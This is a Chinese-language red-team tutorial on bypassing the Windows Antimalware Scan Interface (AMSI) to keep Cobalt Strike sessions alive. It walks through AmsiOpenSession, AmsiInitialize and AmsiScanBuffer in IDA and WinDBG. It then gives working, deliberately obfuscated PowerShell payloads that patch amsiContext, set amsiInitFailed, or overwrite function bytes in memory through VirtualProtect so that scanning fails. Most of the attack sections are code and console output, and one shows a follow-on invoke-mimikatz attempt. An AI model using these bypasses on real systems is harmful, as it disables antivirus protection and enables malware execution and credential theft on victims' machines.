# 反病毒扫描接口 在 Windows 主机上,我们可以通过**执行 exe 文件**、**加载恶意 dll** 等行为获得 Beacon 会话,此外,还可以通过一些脚本语言达到相同目的,例如使用 **PowerShell IEX** 命令将脚本下载到内存中执行,避免文件落地。传统的杀毒软件对此难以检测,而反病毒扫描接口 AMSI 提供了这么一个接口,可以实时捕获多种脚本语言例如 **Powershell**、**JScript**、**VBScript** 以及 **.NET 命令**等并传给本地杀毒软件检测。 AMSI 在Cobalt Strike中的体现则是我们在执行 powershell、powerpick、execute-assembly** 等命令的时候,操作会被拦截甚至丢失会话。好在的是,不是所有杀毒软件产品都支持 AMSI,并且尽管 **Windows Dedender** 支持 AMSI,如果用户安装了第三方不支持 AMSI 的安全产品,例如**火绒**杀毒软件,AMSI 便不可用了。 下图是AMSI被调用的流程图,**amsi.dll** 被载入到每个 PowerShell.exe 进程中并且提供了一系列导出函数,例如 AmsiInitalize、AmsiOpenSession、AmsiScanBuffer 等。脚本的内容会被传入 AmsiScanBuffer 函数中,在脚本被执行之前被判断是否是恶意的。 [![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/04VI9BzV2cuVPbl8-1Aoimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/04VI9BzV2cuVPbl8-1Aoimage.png) 当脚本被启动时,AmsiInitalize 函数被调用,该函数有 2 个参数,分别是**应用名称**以及该函数执行完毕后被填充的 **HAMSICONTEXT** 结构体指针 **amsiContext**。并且 amsiContext 会作为参数传入 **AmsiOpenSession** 函数,而 AmsiOpenSession 会在调用完成后填充 **HAMSISESSION** 结构体指针 **amsiSession**。AmsiScanBuffer 函数接收多个参数,包含了 AmsiInitialize 填充的 参数 amsiContext、缓冲区内容、缓冲区长度、内容标识符、AmsiOpenSession 返回后填充的 amsiSession 参数、以及**扫描结果**。最终,Windows Dedender 将结果值返回给 AmsiScanBuffer。对于结果值,**1** 为非恶意,**32768** 为恶意。接下来我们分别攻击 AmsiOpenSession、AmsiInitialize 以及 AmsiScanBuffer 这 3 个函数。 ### **攻击 AmsiOpenSession()** AmsiOpenSession 函数原型如下: ```c++ HRESULT AmsiOpenSession( [in] HAMSICONTEXT amsiContext, [out] HAMSISESSION *amsiSession ); ``` 该函数只有 2 个参数,其中 **amsiContext** 是 AmsiInitialize 执行完毕后填充的参数,**amsiSession** 是 AmsiOpenSession 执行完毕后填充的参数。使用 IDA 对 amsi.dll 进行反汇编,得到如下的流程图: [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/jdNoYSXAnf9KWqm1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/jdNoYSXAnf9KWqm1-image.png) [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/EIksWnrBt4i2fzmt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/EIksWnrBt4i2fzmt-image.png) 虽然我们对 amsiContext 的结构并不了解,但我们能看到 amsiContext 的**第 2 个**以及**第 3 个 qword** 分别与 0 比较。此外,**RCX** 与 **RDX** 的值是否为 0 也决定了流程的走向。倒数第 2 行的指令 **mov eax, 0x80070057h** 则是将返回值 EAX 设置为**参数非法**的报错信息。
NameDescriptionValue
S\_OKOperation successful0x00000000
E\_ABORTOperation aborted0x80004004
E\_ACCESSDENIEDGeneral access denied error0x80070005
E\_FAILUnspecified failure0x80004005
E\_HANDLEHandle that is not valid0x80070006
**E\_INVALIDARG****One or more arguments are not valid****0x80070057**
E\_NOINTERFACENo such interface supported0x80004002
E\_NOTIMPLNot implemented0x80004001
E\_OUTOFMEMORYFailed to allocate necessary memory0x8007000E
E\_POINTERPointer that is not valid0x80004003
E\_UNEXPECTEDUnexpected failure0x8000FFFF
总结一下,以下任一情况发生,那么 EAX 值便为 **0x80070057h**,AmsiOpenSession 函数便会报错从而返回,后面的函数调用自然也不会发生,从而实现 AMSI 绕过。 ``` RDX为0 RCX为0 RCX存储的地址的下一个QWORD为0 RCX存储的地址的下下个QWORD为0 ``` 在默认情况下,这 4 个条件是都不满足的,也就是 AmsiOpenSession 是可以正确返回的。 [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ESpR26LZfPMW80tA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ESpR26LZfPMW80tA-image.png) 那么,我们可以手动补丁这 4 个值的任意一个。 我们可以使用 PowerShell 单行载荷来实现补丁 amsiContext 结构体中的第 2 个 qword,载荷内容如下: ```powershell $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8) ``` 这之间的过程是这样的 ``` 1:通过GetType()获得定义了Ref类型的组件里所有的类型 2:在列表中,根据AmsiUtils的属性特征,例如IsPublic=False, IsSerial=False,Name包含 "iUtils"子字符串等,定位到AmsiUtils 3:相似的方法定位到amsiContext 4:得到amsiContext参数的地址,将结构体中第2个QWORD补丁0 ``` 拆分的载荷如下: ```powershell PS C:\Users\Administrator> $a=[Ref].Assembly.GetTypes() PS C:\Users\Administrator> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$b}} IsPublic IsSerial Name BaseType -------- -------- ---- -------- False False AmsiUtils System.Object PS C:\Users\Administrator> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}} PS C:\Users\Administrator> $c.GetFields('NonPublic,Static') Name : amsiContext MetadataToken : 67114386 FieldHandle : System.RuntimeFieldHandle Attributes : Private, Static FieldType : System.IntPtr MemberType : Field ReflectedType : System.Management.Automation.AmsiUtils DeclaringType : System.Management.Automation.AmsiUtils Module : System.Management.Automation.dll IsPublic : False IsPrivate : True IsFamily : False IsAssembly : False IsFamilyAndAssembly : False IsFamilyOrAssembly : False IsStatic : True IsInitOnly : False IsLiteral : False IsNotSerialized : False IsSpecialName : False IsPinvokeImpl : False IsSecurityCritical : True IsSecuritySafeCritical : False IsSecurityTransparent : False CustomAttributes : {} Name : amsiSession MetadataToken : 67114387 FieldHandle : System.RuntimeFieldHandle Attributes : Private, Static FieldType : System.IntPtr MemberType : Field ReflectedType : System.Management.Automation.AmsiUtils DeclaringType : System.Management.Automation.AmsiUtils Module : System.Management.Automation.dll IsPublic : False IsPrivate : True IsFamily : False IsAssembly : False IsFamilyAndAssembly : False IsFamilyOrAssembly : False IsStatic : True IsInitOnly : False IsLiteral : False IsNotSerialized : False IsSpecialName : False IsPinvokeImpl : False IsSecurityCritical : True IsSecuritySafeCritical : False IsSecurityTransparent : False CustomAttributes : {} Name : amsiInitFailed MetadataToken : 67114388 FieldHandle : System.RuntimeFieldHandle Attributes : Private, Static FieldType : System.Boolean MemberType : Field ReflectedType : System.Management.Automation.AmsiUtils DeclaringType : System.Management.Automation.AmsiUtils Module : System.Management.Automation.dll IsPublic : False IsPrivate : True IsFamily : False IsAssembly : False IsFamilyAndAssembly : False IsFamilyOrAssembly : False IsStatic : True IsInitOnly : False IsLiteral : False IsNotSerialized : False IsSpecialName : False IsPinvokeImpl : False IsSecurityCritical : True IsSecuritySafeCritical : False IsSecurityTransparent : False CustomAttributes : {} Name : amsiLockObject MetadataToken : 67114389 FieldHandle : System.RuntimeFieldHandle Attributes : Private, Static FieldType : System.Object MemberType : Field ReflectedType : System.Management.Automation.AmsiUtils DeclaringType : System.Management.Automation.AmsiUtils Module : System.Management.Automation.dll IsPublic : False IsPrivate : True IsFamily : False IsAssembly : False IsFamilyAndAssembly : False IsFamilyOrAssembly : False IsStatic : True IsInitOnly : False IsLiteral : False IsNotSerialized : False IsSpecialName : False IsPinvokeImpl : False IsSecurityCritical : True IsSecuritySafeCritical : False IsSecurityTransparent : False CustomAttributes : {} PS C:\Users\Administrator> $d=$c.GetFields('NonPublic,Static') PS C:\Users\Administrator> Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}} PS C:\Users\Administrator> $f.GetValue($null) 1601698866944 PS C:\Users\Administrator> $g=$f.GetValue($null); PS C:\Users\Administrator> $ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8); PS C:\Users\Administrator> $buf = New-Object byte[](8) PS C:\Users\Administrator> [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8) PS C:\Users\Administrator> invoke-mimikatz invoke-mimikatz : The term 'invoke-mimikatz' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:1 + invoke-mimikatz + ~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (invoke-mimikatz:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException ``` 如果使用 Windows API 编程来实现将 **RCX** 赋 0 的话,PowerShell 代码如下: ```powershell function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1]. Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}} return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) } function getDelegateType { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, [Parameter(Position = 1)] [Type] $delType = [Void] ) $type = [AppDomain]::CurrentDomain. DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('InMemoryModule', $false). DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type. DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func). SetImplementationFlags('Runtime, Managed') $type. DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func). SetImplementationFlags('Runtime, Managed') return $type.CreateType() } [IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession $oldProtectionBuffer = 0 $vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool]))) $vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer) $buf = [Byte[]] (0x48,0x31,0xc9) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3) ``` 运行结果如下所示,依旧成功绕过了 AMSI。 [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/jHVmGe6jpvFbxRHo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/jHVmGe6jpvFbxRHo-image.png) ### **攻击 AmsiInitialize()** AmsiInitialize 的函数原型如下: ```c++ HRESULT AmsiInitialize( [in] LPCWSTR appName, [out] HAMSICONTEXT *amsiContext ); ``` 该函数也是只有 2 个参数,其中函数执行后被填充的参数为 **amsiContext**。考虑到 amsiContext 会被传入后续的 AmsiOpenSession 函数作为参数,我们可以在该函数执行完毕后操纵该参数的值。 用 PowerShell 单行载荷的话,原始命令如下: ```powershell [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` 因为 **"Amsi"** 字符串会被识别为恶意内容,我们可以通过在 AmsiOpenSession 部分所使用的技巧来实现混淆,最终的单行载荷为: ```powershell $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}};$f.SetValue($null,$true) ``` 如图所示,我们成功绕过了 AMSI。 [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/keSJFqi12c6yiQvv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/keSJFqi12c6yiQvv-image.png) ### **攻击 AmsiScanBuffer()** AmsiScanBuffer 的函数原型如下: ```c++ HRESULT AmsiScanBuffer( [in] HAMSICONTEXT amsiContext, [in] PVOID buffer, [in] ULONG length, [in] LPCWSTR contentName, [in, optional] HAMSISESSION amsiSession, [out] AMSI_RESULT *result ); ``` 该函数有 6 个参数,**amsiContext** 为 AmsiInitialize 函数执行完毕后填充的参数,**buffer** 与 **length** 分别为缓冲区内容与长度,**contentName** 为内容标识符,**amsiSession** 是 amsiOpenSession 函数执行完毕后填充的参数,**result** 是该函数执行完毕后填充的参数,表示被扫描内容的恶意程度。**AMSI\_RESULT** 结构体如下: ```c++ typedef enum AMSI_RESULT { AMSI_RESULT_CLEAN, AMSI_RESULT_NOT_DETECTED, AMSI_RESULT_BLOCKED_BY_ADMIN_START, AMSI_RESULT_BLOCKED_BY_ADMIN_END, AMSI_RESULT_DETECTED } ; ``` 使用 IDA 查看该函数的汇编代码与流程图: [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/Lum2cswvoFuN6F7S-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/Lum2cswvoFuN6F7S-image.png) [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/lDY0c9L0zBHX27Ez-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/lDY0c9L0zBHX27Ez-image.png) [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6GZNzeRAGAgzNQIb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6GZNzeRAGAgzNQIb-image.png) 从流程图中可见,有诸多的分支可以让函数的执行最终到达 **mov eax, 0x80070057** 指令。其中一条比较直接的路线如下: ``` cmp rcx, rax jz short loc_1800082CA ``` 该指令块将 RAX 与 RCX 进行数值比较,因为 RCX 与 RAX 的值在函数起始处与上述指令之间有被覆盖,所以难以补丁。 [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/3nhZQik7oqWrXilh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/3nhZQik7oqWrXilh-image.png) **RCX** 与 **RAX** 如果不相等,会来到下列指令块。RCX 所储存的地址偏移 **0x14** 字节处的字节与立即数 **4** 进行 TEST 操作,即该字节的第 **3** 位是否被设置。 ``` test byte ptr [rcx+1Ch], 4 jz short loc_1800082CA ``` 操作结果不为 0 的话,流程来到如下指令块: ``` mov rcx, [rcx+10h] mov r9, rbx mov [r11-50h], rbp mov [r11-58h], r14 mov [rsp+88h+var_60], r8d mov [r11-68h], rdx call WPP_SF_qqDqq ``` 该指令块没有跳转,因此继续向下执行,来到下述指令块。之前,**RSI** 被赋予 **RDX** 所存储的值,也就是 **Buffer 的地址**,所以不为 0,那么向下继续执行。 ``` loc_1800082CA: test rsi, rsi jz short loc_180008337 ``` 如下指令块用于判断 **EDI** 是否为 0,在之前,EDI 被赋予了存储于 **R8D** 中的值。那么一切很明显了,如果 **R8** 为 0,那么就会从这里跳转到 **mov eax, 0x80070057** 指令。 ``` test edi, edi jz short loc_180008337 ``` 用 WinDBG 在 amsiScanBuffer 函数入口处将 R8 设置为 0,继续执行,我们发现 AMSI 被绕过了。 [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/1eEBy8xoQu5Vzrbm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/1eEBy8xoQu5Vzrbm-image.png) [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/CFhB4ntC74CpZx2f-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/CFhB4ntC74CpZx2f-image.png) 如果我们试图在 AmsiScanBuffer 起始位置补丁如下指令将 R8 赋 0: ``` xor r8, r8; ``` 操作码为 **4d31c0**。但是,这么做会导致 PowerShell 进程崩溃,因此后面指令赋的值在函数后续的执行流程中有被使用。因此,该绕过的路径理论上可行,但脱离 WinDBG 在实际中执行会遇到问题。 我们也可以在函数开头就强制 AmsiScanBuffer 返回 **E\_INVALIDARG 报错**,对应指令为 ``` mov eax, 0x80070057 ret ``` 操作码为 **b857000780c3**。不过,因为该操作码已经是 AMSI 绕过的特征之一,所以我们对此稍加混淆: [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/lnsZ6jj3nn4NuRBs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/lnsZ6jj3nn4NuRBs-image.png) 最终代码如下 ```powershell function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1]. Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}} return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) } function getDelegateType { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, [Parameter(Position = 1)] [Type] $delType = [Void] ) $type = [AppDomain]::CurrentDomain. DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('InMemoryModule', $false). DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type. DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func). SetImplementationFlags('Runtime, Managed') $type. DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func). SetImplementationFlags('Runtime, Managed') return $type.CreateType() } $a="A" $b="msiS" $c="canB" $d="uffer" [IntPtr]$funcAddr = LookupFunc amsi.dll ($a+$b+$c+$d) $oldProtectionBuffer = 0 $vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool]))) $vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer) $buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12) ``` 运行结果如图所示: [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/BIXkRrk3gnVWqzHL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/BIXkRrk3gnVWqzHL-image.png)